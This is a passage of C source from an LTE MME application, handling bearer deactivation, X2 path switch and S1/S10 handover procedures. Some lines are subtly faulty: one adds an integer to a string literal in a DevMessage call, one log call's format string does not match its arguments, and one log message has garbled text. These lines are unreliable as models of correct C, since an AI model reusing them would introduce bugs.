OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", deactivate_eps_bearer_ctx_cnf->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* TS 23.401: 5.4.1: The MME shall be prepared to receive this message either before or after the Session Management Response message (sent in step 9).
*
* The itti message will be sent directly by MME APP or by ESM layer, depending on the order of the messages.
*
* So we check the state of the bearers.
* The indication that S11 Create Bearer Response should be sent to the SAE-GW, should be sent by ESM/NAS layer.
*/
/** Get the MME_APP Dedicated Bearer procedure, */
mme_app_s11_proc_delete_bearer_t * s11_proc_delete_bearer = mme_app_get_s11_procedure_delete_bearer(ue_context);
if(!s11_proc_delete_bearer){
OAILOG_ERROR(LOG_MME_APP, "No S11 dedicated bearer procedure exists for UE: " MME_UE_S1AP_ID_FMT ". Not sending DBResp back. \n",
ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check if the bearer context exists as a session bearer. */
bearer_context_t * bc = NULL;
mme_app_get_session_bearer_context_from_all(ue_context, deactivate_eps_bearer_ctx_cnf->ded_ebi, &bc);
DevAssert(!bc);
/** Not checking S1U E-RAB Release Response. */
s11_proc_delete_bearer->num_bearers_unhandled--;
if(s11_proc_delete_bearer->num_bearers_unhandled){
OAILOG_INFO(LOG_MME_APP, "Still %d unhandled bearers exist for s11 delete dedicated bearer procedure for UE: " MME_UE_S1AP_ID_FMT ". Not sending DBResp back yet. \n",
s11_proc_delete_bearer->num_bearers_unhandled, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "No unhandled bearers left for s11 delete dedicated bearer procedure for UE: " MME_UE_S1AP_ID_FMT ". Sending DBResp back immediately. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_delete_bearer_rsp(ue_context, REQUEST_ACCEPTED, s11_proc_delete_bearer->proc.s11_trxn, &s11_proc_delete_bearer->ebis);
mme_app_delete_s11_procedure_delete_bearer(ue_context);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
// See 3GPP TS 23.401 version 10.13.0 Release 10: 5.4.4.2 MME Initiated Dedicated Bearer Deactivation
void mme_app_trigger_mme_initiated_dedicated_bearer_deactivation_procedure (ue_context_t * const ue_context, const pdn_cid_t cid)
{
OAILOG_DEBUG (LOG_MME_APP, "TODO \n");
}
//------------------------------------------------------------------------------
// HANDOVER MESSAGING ------------------------------------------------------------------------------
//------------------------------------------------------------------------------
/**
* Method to send the path switch request acknowledge to the target-eNB.
* Will not make any changes in the UE context.
* No timer to be started.
*/
static
void mme_app_send_s1ap_path_switch_request_acknowledge(mme_ue_s1ap_id_t mme_ue_s1ap_id,
uint16_t encryption_algorithm_capabilities, uint16_t integrity_algorithm_capabilities,
bearer_contexts_to_be_created_t * bcs_tbc){
MessageDef * message_p = NULL;
bearer_context_t *current_bearer_p = NULL;
ebi_t bearer_id = 0;
ue_context_t *ue_context = NULL;
emm_data_context_t *ue_nas_ctx = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_ERROR (LOG_MME_APP, "UE context doesn't exist for UE %06" PRIX32 "/dec%u\n", mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Get the EMM Context too for the AS security parameters. */
ue_nas_ctx = emm_data_context_get(&_emm_data, mme_ue_s1ap_id);
if(!ue_nas_ctx || ue_nas_ctx->_tai_list.numberoflists == 0){
DevMessage(" No EMM Data Context exists for UE with mmeUeS1apId " + mme_ue_s1ap_id + ".\n");
}
/**
* Prepare a S1AP ITTI message without changing the UE context.
*/
message_p = itti_alloc_new_message (TASK_MME_APP, S1AP_PATH_SWITCH_REQUEST_ACKNOWLEDGE);
DevAssert (message_p != NULL);
itti_s1ap_path_switch_request_ack_t *path_switch_req_ack_p = &message_p->ittiMsg.s1ap_path_switch_request_ack;
memset (path_switch_req_ack_p, 0, sizeof (itti_s1ap_path_switch_request_ack_t));
path_switch_req_ack_p->ue_id= mme_ue_s1ap_id;
OAILOG_INFO(LOG_MME_APP, "Sending S1AP Path Switch Request Acknowledge to the target eNodeB for UE " MME_UE_S1AP_ID_FMT ". \n", mme_ue_s1ap_id);
/** The ENB_ID/Stream information in the UE_Context are still the ones for the source-ENB and the SCTP-UE_ID association is not set yet for the new eNB. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S1AP_MME, NULL, 0, "MME_APP Sending S1AP PATH_SWITCH_REQUEST_ACKNOWLEDGE.");
/** Set the bearer contexts to be created. Not changing any bearer state. */
path_switch_req_ack_p->bearer_ctx_to_be_switched_list = calloc(1, sizeof(bearer_contexts_to_be_created_t));
memcpy((void*)path_switch_req_ack_p->bearer_ctx_to_be_switched_list, bcs_tbc, sizeof(*bcs_tbc));
/** Set the new security parameters. */
path_switch_req_ack_p->security_capabilities_encryption_algorithms = encryption_algorithm_capabilities;
path_switch_req_ack_p->security_capabilities_integrity_algorithms = integrity_algorithm_capabilities;
/** Set the next hop value and the NCC value. */
memcpy(path_switch_req_ack_p->nh, ue_nas_ctx->_vector[ue_nas_ctx->_security.vector_index].nh_conj, AUTH_NH_SIZE);
path_switch_req_ack_p->ncc = ue_nas_ctx->_security.ncc;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S1AP_MME, NULL, 0,
"0 S1AP_PATH_SWITCH_REQUEST_ACKNOWLEDGE ebi %u sea 0x%x sia 0x%x ncc %d",
path_switch_req_ack_p->eps_bearer_id,
path_switch_req_ack_p->security_capabilities_encryption_algorithms, path_switch_req_ack_p->security_capabilities_integrity_algorithms,
path_switch_req_ack_p->ncc);
itti_send_msg_to_task (TASK_S1AP, INSTANCE_DEFAULT, message_p);
/**
* Change the ECM state to connected.
* AN UE_Reference should already be created with Path_Switch_Request.
*/
mme_ue_context_update_ue_sig_connection_state (&mme_app_desc.mme_ue_contexts, ue_context, ECM_CONNECTED);
// todo: timer for path switch request
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_path_switch_req(
const itti_s1ap_path_switch_request_t * const s1ap_path_switch_req
)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
ebi_list_t ebi_list;
OAILOG_DEBUG (LOG_MME_APP, "Received S1AP_PATH_SWITCH_REQUEST from S1AP\n");
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, s1ap_path_switch_req->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_ERROR (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: %08x %d(dec)\n", s1ap_path_switch_req->mme_ue_s1ap_id, s1ap_path_switch_req->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_PATH_SWITCH_REQUEST Unknown ue %u", s1ap_path_switch_req->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
enb_s1ap_id_key_t enb_s1ap_id_key = INVALID_ENB_UE_S1AP_ID_KEY;
// todo: ideally, this should also be locked..
/** Update the ENB_ID_KEY. */
MME_APP_ENB_S1AP_ID_KEY(enb_s1ap_id_key, s1ap_path_switch_req->enb_id, s1ap_path_switch_req->enb_ue_s1ap_id);
// Update enb_s1ap_id_key in hashtable
mme_ue_context_update_coll_keys( &mme_app_desc.mme_ue_contexts,
ue_context,
enb_s1ap_id_key,
ue_context->mme_ue_s1ap_id,
ue_context->imsi,
ue_context->mme_teid_s11,
ue_context->local_mme_teid_s10,
&ue_context->guti);
// Set the handover flag, check that no handover exists.
ue_context->enb_ue_s1ap_id = s1ap_path_switch_req->enb_ue_s1ap_id;
ue_context->sctp_assoc_id_key = s1ap_path_switch_req->sctp_assoc_id;
// todo: set the enb and cell id
ue_context->e_utran_cgi.cell_identity.enb_id = s1ap_path_switch_req->e_utran_cgi.cell_identity.enb_id;
ue_context->e_utran_cgi.cell_identity.cell_id = s1ap_path_switch_req->e_utran_cgi.cell_identity.cell_id;
// sctp_stream_id_t sctp_stream;
/*
* 36.413: 8.4.4.2
* If the E-RAB To Be Switched in Downlink List IE in the PATH SWITCH REQUEST message does not include all E-RABs previously included
* in the UE Context, the MME shall consider the non included E-RABs as implicitly released by the eNB.
* We do not have to inform the ESM layer about it.
* todo: Currently, we assume that default bearers are not removed.
*/
/** All bearers to be switched, perform without ESM layer. */
memset(&ebi_list, 0, sizeof(ebi_list_t));
/** Release all bearers. */
mme_app_release_bearers(s1ap_path_switch_req->mme_ue_s1ap_id, NULL, &ebi_list);
if (mme_app_modify_bearers(s1ap_path_switch_req->mme_ue_s1ap_id, &s1ap_path_switch_req->bcs_to_be_modified) == RETURNerror) {
OAILOG_ERROR (LOG_MME_APP, "Error updating the bearers based on X2 path switch request for UE " MME_UE_S1AP_ID_FMT ". \n", s1ap_path_switch_req->mme_ue_s1ap_id);
mme_app_send_s1ap_path_switch_request_failure(ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id, ue_context->sctp_assoc_id_key, S1ap_Cause_PR_misc);
OAILOG_FUNC_OUT(LOG_MME_APP);
}
/** Updated the bearers, send an S11 Modify Bearer Request on the updated bearers. */
OAILOG_INFO(LOG_MME_APP, "Sending MBR due to Patch Switch Request for UE " MME_UE_S1AP_ID_FMT " . \n", ue_context->mme_ue_s1ap_id);
/**
* Get the first PDN context for sending MBRs, too.
* The FTEIDs with eNB-FTEID 0 will be sent as bearer contexts to be removed.
*/
pdn_context_t * first_pdn = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
uint8_t flags = 0;
flags |= INTERNAL_FLAG_X2_HANDOVER;
mme_app_send_s11_modify_bearer_req(ue_context, first_pdn, flags);
/** Check for any bearers removed, inform the ESM layer. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_s1ap_handover_required(
itti_s1ap_handover_required_t * const handover_required_pP
) {
OAILOG_FUNC_IN (LOG_MME_APP);
emm_data_context_t *ue_nas_ctx = NULL;
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
OAILOG_DEBUG (LOG_MME_APP, "Received S1AP_HANDOVER_REQUIRED from S1AP\n");
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, handover_required_pP->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: %08x %d(dec)\n", handover_required_pP->mme_ue_s1ap_id, handover_required_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_HANDOVER_REQUIRED Unknown ue %u", handover_required_pP->mme_ue_s1ap_id);
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
/* Resources will be removed by itti removal function. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
if (ue_context->mm_state != UE_REGISTERED) {
OAILOG_ERROR (LOG_MME_APP, "UE with ue_id " MME_UE_S1AP_ID_FMT " is not in UE_REGISTERED state. "
"Rejecting the Handover Preparation. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
/** No change in the UE context needed. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* Staying in the same state (UE_REGISTERED).
* If the GUTI is not found, first send a preparation failure, then implicitly detach.
*/
ue_nas_ctx = emm_data_context_get_by_guti (&_emm_data, &ue_context->guti);
/** Check that the UE NAS context != NULL. */
if (!ue_nas_ctx || emm_fsm_get_state (ue_nas_ctx) != EMM_REGISTERED) {
OAILOG_ERROR (LOG_MME_APP, "EMM context for UE with ue_id " MME_UE_S1AP_ID_FMT " IMSI " IMSI_64_FMT " is not in EMM_REGISTERED state or not existing. "
"Rejecting the Handover Preparation. \n", handover_required_pP->mme_ue_s1ap_id, ue_context->imsi);
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* Check if there exists a handover process.
* If so Set the target TAI and enb_id, to use them if a Handover-Cancel message comes.
* Also use the S10 procedures for intra-MME handover.
*/
mme_app_s10_proc_mme_handover_t * s10_handover_procedure = mme_app_get_s10_procedure_mme_handover(ue_context);
if(s10_handover_procedure){
OAILOG_ERROR (LOG_MME_APP, "EMM context for UE with ue_id " MME_UE_S1AP_ID_FMT " IMSI " IMSI_64_FMT " in EMM_REGISTERED state has a running handover procedure. "
"Rejecting further procedures. \n", handover_required_pP->mme_ue_s1ap_id, ue_context->imsi);
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check if there are bearers/pdn contexts (a detach procedure might be ongoing in parallel). */
pdn_context_t * first_pdn = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
if(!first_pdn) {
OAILOG_ERROR (LOG_MME_APP, "EMM context UE with ue_id " MME_UE_S1AP_ID_FMT " IMSI " IMSI_64_FMT " in EMM_REGISTERED state has no PDN contexts. "
"Rejecting further procedures. \n", handover_required_pP->mme_ue_s1ap_id, ue_context->imsi);
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* Update Security Parameters and send them to the target MME or target eNB.
* This is same next hop procedure as in X2.
*
* Check if the destination eNodeB is attached at the same or another MME.
*/
if (mme_app_check_ta_local(&handover_required_pP->selected_tai.plmn, handover_required_pP->selected_tai.tac)) {
/** Check if the eNB with the given eNB-ID is served. */
if(s1ap_is_enb_id_in_list(handover_required_pP->global_enb_id.cell_identity.enb_id) != NULL){
OAILOG_DEBUG (LOG_MME_APP, "Target ENB_ID %d of target TAI " TAI_FMT " is served by current MME. \n",
handover_required_pP->global_enb_id.cell_identity.enb_id, TAI_ARG(&handover_required_pP->selected_tai));
/*
* Create a new handover procedure and begin processing.
*/
s10_handover_procedure = mme_app_create_s10_procedure_mme_handover(ue_context, false, MME_APP_S10_PROC_TYPE_INTRA_MME_HANDOVER);
if(!s10_handover_procedure){
OAILOG_ERROR (LOG_MME_APP, "Could not create new handover procedure for UE with ue_id " MME_UE_S1AP_ID_FMT " IMSI " IMSI_64_FMT " in EMM_REGISTERED state. Rejecting further procedures. \n",
handover_required_pP->mme_ue_s1ap_id, ue_context->imsi);
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* Fill the target information, and use it if handover cancellation is received.
* No transaction needed on source side.
* Keep the source side as it is.
*/
memcpy((void*)&s10_handover_procedure->target_tai, (void*)&handover_required_pP->selected_tai, sizeof(handover_required_pP->selected_tai));
memcpy((void*)&s10_handover_procedure->target_ecgi, (void*)&handover_required_pP->global_enb_id, sizeof(handover_required_pP->global_enb_id)); /**< Home or macro enb id. */
/*
* Set the source values, too. We might need it if the MME_STATUS_TRANSFER has to be sent after Handover Notify (emulator errors).
* Also, this may be used when removing the old ue_reference later.
*/
s10_handover_procedure->source_enb_ue_s1ap_id = ue_context->enb_ue_s1ap_id;
s10_handover_procedure->source_ecgi = ue_context->e_utran_cgi;
/*
* No need to store the transparent container. Directly send it to the target eNB.
* Prepare a Handover Request, keep the transparent container for now, it will be purged together with the free method of the S1AP message.
*/
/** Get all VOs of all session bearers and send handover request with it. */
bearer_contexts_to_be_created_t bcs_tbc;
memset((void*)&bcs_tbc, 0, sizeof(bcs_tbc));
pdn_context_t * registered_pdn_ctx = NULL;
RB_FOREACH (registered_pdn_ctx, PdnContexts, &ue_context->pdn_contexts) {
DevAssert(registered_pdn_ctx);
mme_app_get_bearer_contexts_to_be_created(registered_pdn_ctx, &bcs_tbc, BEARER_STATE_NULL);
/** The number of bearers will be incremented in the method. S10 should just pick the ebi. */
}
/** Check the number of bc's. If != 0, update the security parameters send the handover request. */
if(!bcs_tbc.num_bearer_context){
OAILOG_INFO (LOG_MME_APP, "No BC context exist. Reject the handover for mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT ". \n", ue_context->mme_ue_s1ap_id);
/** Send a handover preparation failure with error. */
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
uint16_t encryption_algorithm_capabilities = (uint16_t)0;
uint16_t integrity_algorithm_capabilities = (uint16_t)0;
/** Update the security parameters. */
if(emm_data_context_update_security_parameters(ue_context->mme_ue_s1ap_id, &encryption_algorithm_capabilities, &integrity_algorithm_capabilities) != RETURNok){
OAILOG_ERROR(LOG_MME_APP, "Error updating AS security parameters for UE with ueId: " MME_UE_S1AP_ID_FMT ". \n", handover_required_pP->mme_ue_s1ap_id);
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
/** If UE state is REGISTERED, then we also expect security context to be valid. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "Successfully updated AS security parameters for UE with ueId: " MME_UE_S1AP_ID_FMT ". Continuing handover request for INTRA-MME handover. \n", handover_required_pP->mme_ue_s1ap_id);
ambr_t total_apn_ambr = mme_app_total_p_gw_apn_ambr(ue_context);
mme_app_send_s1ap_handover_request(handover_required_pP->mme_ue_s1ap_id,
&bcs_tbc,
&total_apn_ambr,
handover_required_pP->global_enb_id.cell_identity.enb_id,
encryption_algorithm_capabilities,
integrity_algorithm_capabilities,
ue_nas_ctx->_vector[ue_nas_ctx->_security.vector_index].nh_conj,
ue_nas_ctx->_security.ncc,
handover_required_pP->eutran_source_to_target_container);
/*
* Unlink the transparent container. bstring is a pointer itself.
* bdestroy_wrapper should be able to handle it.
*/
handover_required_pP->eutran_source_to_target_container = NULL;
OAILOG_FUNC_OUT (LOG_MME_APP);
}else{
/** Send a Handover Preparation Failure back. */
// mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
/** The target eNB-ID is not served by this MME. */
OAILOG_WARNING(LOG_MME_APP, "Target ENB_ID %d of target TAI " TAI_FMT " is NOT served by current MME. Checking for neighboring MMEs. \n",
handover_required_pP->global_enb_id.cell_identity.enb_id, TAI_ARG(&handover_required_pP->selected_tai));
}
}
OAILOG_DEBUG (LOG_MME_APP, "Target TA "TAI_FMT " is NOT served by current MME. Searching for a neighboring MME. \n", TAI_ARG(&handover_required_pP->selected_tai));
struct in_addr neigh_mme_ipv4_addr = {.s_addr = 0};
if (1) {
// TODO prototype may change
mme_app_select_service(&handover_required_pP->selected_tai, &neigh_mme_ipv4_addr, S10_MME_GTP_C);
// session_request_p->peer_ip.in_addr = mme_config.ipv4.
if(neigh_mme_ipv4_addr.s_addr == 0){
/** Send a Handover Preparation Failure back. */
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
OAILOG_DEBUG (LOG_MME_APP, "The selected TAI " TAI_FMT " is not configured as an S10 MME neighbor. "
"Not proceeding with the handover formme_ue_s1ap_id in list of UE: %08x %d(dec)\n",
TAI_ARG(&handover_required_pP->selected_tai), handover_required_pP->mme_ue_s1ap_id, handover_required_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_HANDOVER_REQUIRED Unknown ue %u", handover_required_pP->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
/** Prepare a forward relocation message to the TARGET-MME. */
message_p = itti_alloc_new_message (TASK_MME_APP, S10_FORWARD_RELOCATION_REQUEST);
DevAssert (message_p != NULL);
itti_s10_forward_relocation_request_t *forward_relocation_request_p = &message_p->ittiMsg.s10_forward_relocation_request;
memset ((void*)forward_relocation_request_p, 0, sizeof (itti_s10_forward_relocation_request_t));
forward_relocation_request_p->teid = 0;
forward_relocation_request_p->peer_ip.s_addr = neigh_mme_ipv4_addr.s_addr;
/** Add it into the procedure (todo: hardcoded to ipv4). */
// s10_handover_procedure->remote_mme_teid.ipv4 = 1;
// s10_handover_procedure->remote_mme_teid.interface_type = S10_MME_GTP_C;
/** IMSI. */
memcpy((void*)&forward_relocation_request_p->imsi, &ue_nas_ctx->_imsi, sizeof(imsi_t));
// message content was set to 0
// forward_relocation_request_p->imsi.length = strlen ((const char *)forward_relocation_request_p->imsi.u.value);
// message content was set to 0
/*
* Create a new handover procedure and begin processing.
*/
s10_handover_procedure = mme_app_create_s10_procedure_mme_handover(ue_context, false, MME_APP_S10_PROC_TYPE_INTER_MME_HANDOVER);
if(!s10_handover_procedure){
OAILOG_ERROR (LOG_MME_APP, "Could not create new handover procedure for UE with ue_id " MME_UE_S1AP_ID_FMT " IMSI " IMSI_64_FMT " in EMM_REGISTERED state. Rejecting further procedures. \n",
handover_required_pP->mme_ue_s1ap_id, ue_context->imsi);
mme_app_send_s1ap_handover_preparation_failure(handover_required_pP->mme_ue_s1ap_id, handover_required_pP->enb_ue_s1ap_id, handover_required_pP->sctp_assoc_id, S1AP_SYSTEM_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* Fill the target information, and use it if handover cancellation is received.
* No transaction needed on source side.
* Keep the source side as it is.
*/
memcpy((void*)&s10_handover_procedure->target_tai, (void*)&handover_required_pP->selected_tai, sizeof(handover_required_pP->selected_tai));
memcpy((void*)&s10_handover_procedure->target_ecgi, (void*)&handover_required_pP->global_enb_id, sizeof(handover_required_pP->global_enb_id)); /**< Home or macro enb id. */
memcpy((void*)&s10_handover_procedure->imsi, &ue_nas_ctx->_imsi, sizeof(imsi_t));
s10_handover_procedure->proc.peer_ip.s_addr = neigh_mme_ipv4_addr.s_addr;
/** Set the eNB type. */
// s10_handover_procedure->target_enb_type = handover_required_pP->target_enb_type;
/*
* Set the source values, too. We might need it if the MME_STATUS_TRANSFER has to be sent after Handover Notify (emulator errors).
* Also, this may be used when removing the old ue_reference later.
*/
s10_handover_procedure->source_enb_ue_s1ap_id = ue_context->enb_ue_s1ap_id;
s10_handover_procedure->source_ecgi = ue_context->e_utran_cgi;
if(!ue_context->local_mme_teid_s10){
/** Set the Source MME_S10_FTEID the same as in S11. */
teid_t local_teid = 0x0;
do{
local_teid = (teid_t) (rand() % 0xFFFFFFFF);
}while(mme_ue_context_exists_s10_teid(&mme_app_desc.mme_ue_contexts, local_teid) != NULL);
OAI_GCC_DIAG_OFF(pointer-to-int-cast);
forward_relocation_request_p->s10_source_mme_teid.teid = local_teid;
OAI_GCC_DIAG_ON(pointer-to-int-cast);
forward_relocation_request_p->s10_source_mme_teid.interface_type = S10_MME_GTP_C;
mme_config_read_lock (&mme_config);
forward_relocation_request_p->s10_source_mme_teid.ipv4_address = mme_config.ipv4.s10;
mme_config_unlock (&mme_config);
forward_relocation_request_p->s10_source_mme_teid.ipv4 = 1;
/**
* Update the local_s10_key.
* Not setting the key directly in the ue_context structure. Only over this function!
*/
mme_ue_context_update_coll_keys (&mme_app_desc.mme_ue_contexts, ue_context,
ue_context->enb_s1ap_id_key,
ue_context->mme_ue_s1ap_id,
ue_context->imsi,
ue_context->mme_teid_s11, // mme_teid_s11 is new
local_teid, // set with forward_relocation_request!
&ue_context->guti);
}else{
OAILOG_INFO (LOG_MME_APP, "A S10 Local TEID " TEID_FMT " already exists. Not reallocating for UE: %08x %d(dec)\n",
ue_context->local_mme_teid_s10, handover_required_pP->mme_ue_s1ap_id, handover_required_pP->mme_ue_s1ap_id);
OAI_GCC_DIAG_OFF(pointer-to-int-cast);
forward_relocation_request_p->s10_source_mme_teid.teid = ue_context->local_mme_teid_s10;
OAI_GCC_DIAG_ON(pointer-to-int-cast);
forward_relocation_request_p->s10_source_mme_teid.interface_type = S10_MME_GTP_C;
mme_config_read_lock (&mme_config);
forward_relocation_request_p->s10_source_mme_teid.ipv4_address = mme_config.ipv4.s10;
mme_config_unlock (&mme_config);
forward_relocation_request_p->s10_source_mme_teid.ipv4 = 1;
}
/** Set the SGW_S11_FTEID the same as in S11. */
OAI_GCC_DIAG_OFF(pointer-to-int-cast);
forward_relocation_request_p->s11_sgw_teid.teid = first_pdn->s_gw_teid_s11_s4;
OAI_GCC_DIAG_ON(pointer-to-int-cast);
forward_relocation_request_p->s11_sgw_teid.interface_type = S11_MME_GTP_C;
mme_config_read_lock (&mme_config);
forward_relocation_request_p->s11_sgw_teid.ipv4_address = mme_config.ipv4.s11;
mme_config_unlock (&mme_config);
forward_relocation_request_p->s11_sgw_teid.ipv4 = 1;
/** Set the F-Cause. */
forward_relocation_request_p->f_cause.fcause_type = FCAUSE_S1AP;
forward_relocation_request_p->f_cause.fcause_s1ap_type = FCAUSE_S1AP_RNL;
forward_relocation_request_p->f_cause.fcause_value = (uint8_t)handover_required_pP->f_cause_value;
/** Set the MCC. */
forward_relocation_request_p->target_identification.mcc[0] = handover_required_pP->selected_tai.plmn.mcc_digit1;
forward_relocation_request_p->target_identification.mcc[1] = handover_required_pP->selected_tai.plmn.mcc_digit2;
forward_relocation_request_p->target_identification.mcc[2] = handover_required_pP->selected_tai.plmn.mcc_digit3;
/** Set the MNC. */
forward_relocation_request_p->target_identification.mnc[0] = handover_required_pP->selected_tai.plmn.mnc_digit1;
forward_relocation_request_p->target_identification.mnc[1] = handover_required_pP->selected_tai.plmn.mnc_digit2;
forward_relocation_request_p->target_identification.mnc[2] = handover_required_pP->selected_tai.plmn.mnc_digit3;
/* Set the Target Id with the correct type. */
forward_relocation_request_p->target_identification.target_type = handover_required_pP->target_enb_type;
if(forward_relocation_request_p->target_identification.target_type == TARGET_ID_HOME_ENB_ID){
forward_relocation_request_p->target_identification.target_id.home_enb_id.tac = handover_required_pP->selected_tai.tac;
forward_relocation_request_p->target_identification.target_id.home_enb_id.enb_id = handover_required_pP->global_enb_id.cell_identity.enb_id;
}else{
/** We assume macro enb id. */
forward_relocation_request_p->target_identification.target_id.macro_enb_id.tac = handover_required_pP->selected_tai.tac;
forward_relocation_request_p->target_identification.target_id.macro_enb_id.enb_id = handover_required_pP->global_enb_id.cell_identity.enb_id;
}
/** Allocate and set the PDN_CONNECTIONS IE (for all bearers incl. all TFTs). */
forward_relocation_request_p->pdn_connections = calloc(1, sizeof(struct mme_ue_eps_pdn_connections_s));
mme_app_set_pdn_connections(forward_relocation_request_p->pdn_connections, ue_context);
/** Set the MM_UE_EPS_CONTEXT. */
forward_relocation_request_p->ue_eps_mm_context = calloc(1, sizeof(mm_context_eps_t));
mme_app_set_ue_eps_mm_context(forward_relocation_request_p->ue_eps_mm_context, ue_context, ue_nas_ctx);
/** Put the E-UTRAN transparent container. */
forward_relocation_request_p->f_container.container_type = 3;
forward_relocation_request_p->f_container.container_value = handover_required_pP->eutran_source_to_target_container;
handover_required_pP->eutran_source_to_target_container = NULL;
/** Send the Forward Relocation Message to S11. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME ,
NULL, 0, "0 FORWARD_RELOCATION_REQUEST for UE %d \n", handover_required_pP->mme_ue_s1ap_id);
itti_send_msg_to_task (TASK_S10, INSTANCE_DEFAULT, message_p);
/** No need to start/stop a timer on the source MME side. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_handover_cancel(
const itti_s1ap_handover_cancel_t * const handover_cancel_pP
) {
OAILOG_FUNC_IN (LOG_MME_APP);
emm_data_context_t *emm_context = NULL;
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
OAILOG_DEBUG (LOG_MME_APP, "Received S1AP_HANDOVER_CANCEL from S1AP\n");
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, handover_cancel_pP->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_ERROR (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: %08x %d(dec)\n", handover_cancel_pP->mme_ue_s1ap_id, handover_cancel_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_HANDOVER_CANCEL Unknown ue %u", handover_cancel_pP->mme_ue_s1ap_id);
/** Ignoring the message. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check if there is a handover process. */
